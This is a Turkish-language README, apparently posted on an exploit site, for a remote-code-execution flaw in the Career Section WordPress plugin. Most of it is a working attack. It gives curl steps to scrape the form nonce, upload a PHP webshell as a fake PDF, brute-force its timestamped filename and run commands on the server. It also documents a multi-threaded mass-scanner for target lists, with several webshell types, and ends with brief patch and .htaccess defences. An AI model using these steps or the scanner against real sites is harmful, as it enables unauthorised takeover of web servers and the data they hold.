Share
## https://sploitus.com/exploit?id=C8D08927-0955-55BD-8E9A-E68E2B617A27
# CVE-2026-6271 — Career Section WordPress Plugin RCE Scanner

> **Plugin:** Career Section (`career-section`)
> **CVE ID:** CVE-2026-6271
> **CVSS Score:** 9.8 (Critical)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Zafiyet Türü:** Unauthenticated Arbitrary File Upload → Remote Code Execution
> **Etkilenen Sürüm:**  **Yamalı Sürüm:** 1.8
> **Yayın Tarihi:** 13 Mayıs 2026
> **Araştırmacı:** Paolo Tresso — Wordfence

---

## 📌 Zafiyet Hakkında

Career Section eklentisi, site sahiplerinin iş ilanı yayınlamasına ve
başvuru toplamasına olanak tanır. Her iş ilanı sayfasında bir **"Apply Now"**
formu bulunur. Bu form bir CV dosyası yükleme alanı içerir.

**1.7 ve önceki sürümlerde** yükleme işleyicisi herhangi bir dosya türünü
kabul eder — `.php` dahil. Form herkese açık olduğundan ve CSRF token
sayfa HTML'inde gömülü olduğundan **herhangi bir hesap veya yetki
gerekmeksizin** bu açık istismar edilebilir.

---

## ⚙️ Teknik Analiz

### Neden Nonce Koruma Sağlamıyor?

WordPress nonce'ları **CSRF token**'dır, kimlik doğrulama token'ı değildir.
Nonce değeri her ziyaretçi için sayfa HTML'ine gömülür:

```html



```

Kimliği doğrulanmamış herhangi bir ziyaretçi geçerli bir nonce alabilir
ve doğrulama kontrolünü geçebilir.

### Dosya Tipi Doğrulaması Eksik

```php
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Uzantı kontrolü YOK — .php dahil her şey kabul edilir
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}
```

`sanitize_file_name()` yalnızca özel karakterleri temizler,
tehlikeli uzantıları **engellemez**.

### Yükleme Dizini

```
wp-content/uploads/cs_applicant_submission_files/_
```

Bu dizinde PHP çalıştırmayı engelleyen `.htaccess` dosyası **yoktur.**

---

## 🔴 Neden Kritik?

| Sebep | Açıklama |
|---|---|
| **Kimlik doğrulama gerekmez** | Nonce public HTML'de gömülü |
| **Dosya tipi kısıtlaması yok** | `.php`, `.php5`, `.phtml` kabul edilir |
| **`.htaccess` koruması yok** | Upload dizininde PHP çalışır |
| **Tahmin edilebilir dosya adı** | `time()_filename` → timestamp brute-force |

---

## 🧪 Proof of Concept (Manuel)

> ⚠️ **Disclaimer:** This PoC is for educational purposes only.
> Only test on systems you own or have explicit written permission to test.

**Ön Koşullar:**
- Career Section eklentisi kurulu ve aktif (sürüm ≤ 1.7)
- En az bir iş ilanı yayınlanmış

---

### Adım 1 — PHP Webshell Oluştur

```bash
echo '' > shell.php
```

---

### Adım 2 — Nonce Çek

```bash
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"
```

Sayfa kaynağında aranacak yapı:

```html

```

---

### Adım 3 — Webshell Yükle

```bash
TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "email_address=attacker@evil.com" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "cv=@shell.php;type=application/pdf" \
  | grep -o "Application has been sent"
```

---

### Adım 4 — RCE Tetikle

Dosya adı `_shell.php` formatındadır.
`$TS` etrafındaki timestamp'leri dene:

```bash
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktif: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done
```

Beklenen çıktı:

```
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

## 🛠️ Otomatik Tarayıcı

### Kurulum

```bash
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
```

**requirements.txt**

```
requests
```

---

## 🚀 Kullanım

### Tekil Hedef

```bash
python career_section_rce.py -u http://hedef.com
```

### Direkt Job URL ile

```bash
python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/
```

### Shell Doğrulama ile

```bash
python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"
```

### Toplu Tarama

```bash
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
```

### Timestamp Window Artır (Yavaş Sunucular)

```bash
python career_section_rce.py -u http://hedef.com --ts-window 10
```

### Full Shell + Proxy (Burp Suite)

```bash
python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080
```

---

## ⚙️ Parametreler

| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `rce_confirmed.txt` |
| `--job-url` | — | Direkt job listing URL | — |
| `--shell-name` | — | Yüklenecek dosya adı | `shell.php` |
| `--shell-type` | — | Shell tipi | `system` |
| `--verify-cmd` | — | RCE doğrulama komutu | `id` |
| `--ts-window` | — | Timestamp brute-force penceresi (±sn) | `5` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |

---

## 💀 Shell Tipleri

| Tip | Payload | Açıklama |
|---|---|---|
| `system` | `` | Temel sistem komutu |
| `passthru` | `` | Ham çıktı |
| `exec` | `` | Sessiz çalıştırma |
| `assert` | `` | POST ile eval |
| `b64` | `` | Base64 obfuscation |
| `full` | shell_exec + system + exec fallback | Tam kapsamlı shell |

---

## 📂 Shell Yükleme Konumu

```
WordPress Kök/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── _shell.php   ← Shell burada
```

Doğrudan erişim:

```bash
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

## 📊 Tarayıcı Çıktı Durumları

| Durum | Açıklama |
|---|---|
| `★ RCE OK` | Shell yüklendi + komut başarıyla çalıştı |
| `★ SHELL ALIVE` | Shell erişilebilir, farklı yanıt döndü |
| `~ EXEC_DISABLED` | Shell var ama exec() sunucuda kapalı |
| `? UPLOADED` | Yüklendi ama timestamp bulunamadı |
| `- BLOCKED` | Dosya tipi engellendi (yamalı sürüm) |
| `~ NO_NONCE` | `csaf_form_nonce` bulunamadı |
| `~ TIMEOUT` | Bağlantı zaman aşımı |
| `~ UNREACH` | Hedefe ulaşılamıyor |

---

## 🖥️ Örnek Tarayıcı Çıktısı

```
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (kaynak: http://hedef1.com/careers/engineer/)
  Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (dosya tipi engellendi)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce bulunamadı)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────
```

---

## 🛡️ Savunma / Yama

| Önlem | Uygulama |
|---|---|
| **Eklenti Güncellemesi** | Career Section 1.8 veya üstüne yükselt |
| **PHP Execution Engeli** | Upload dizinine `.htaccess` ekle |
| **Uzantı Whitelist** | Yalnızca `pdf`, `doc`, `docx` kabul et |
| **MIME Doğrulama** | `finfo_file()` ile gerçek içerik kontrolü |
| **WAF Kuralı** | `.php` yükleme isteklerini engelle |

`wp-content/uploads/cs_applicant_submission_files/` dizini için `.htaccess`:

```apache

    Deny from all


Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
```

---

## 📁 Dosya Yapısı

```
cve-2026-6271-scanner/
├── career_section_rce.py   # Ana tarayıcı
├── requirements.txt        # Bağımlılıklar
└── README.md               # Bu dosya
```

---

## ⚠️ Yasal Uyarı

> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eğitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak üzere hazırlanmıştır.
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki
> sorumluluk kabul etmez.

---

## 📄 Lisans

MIT License — Yalnızca eğitim ve araştırma amaçlıdır.

---

## 🔗 Referanslar

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [WordPress Plugin Directory — Career Section](https://wordpress.org/plugins/career-section/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)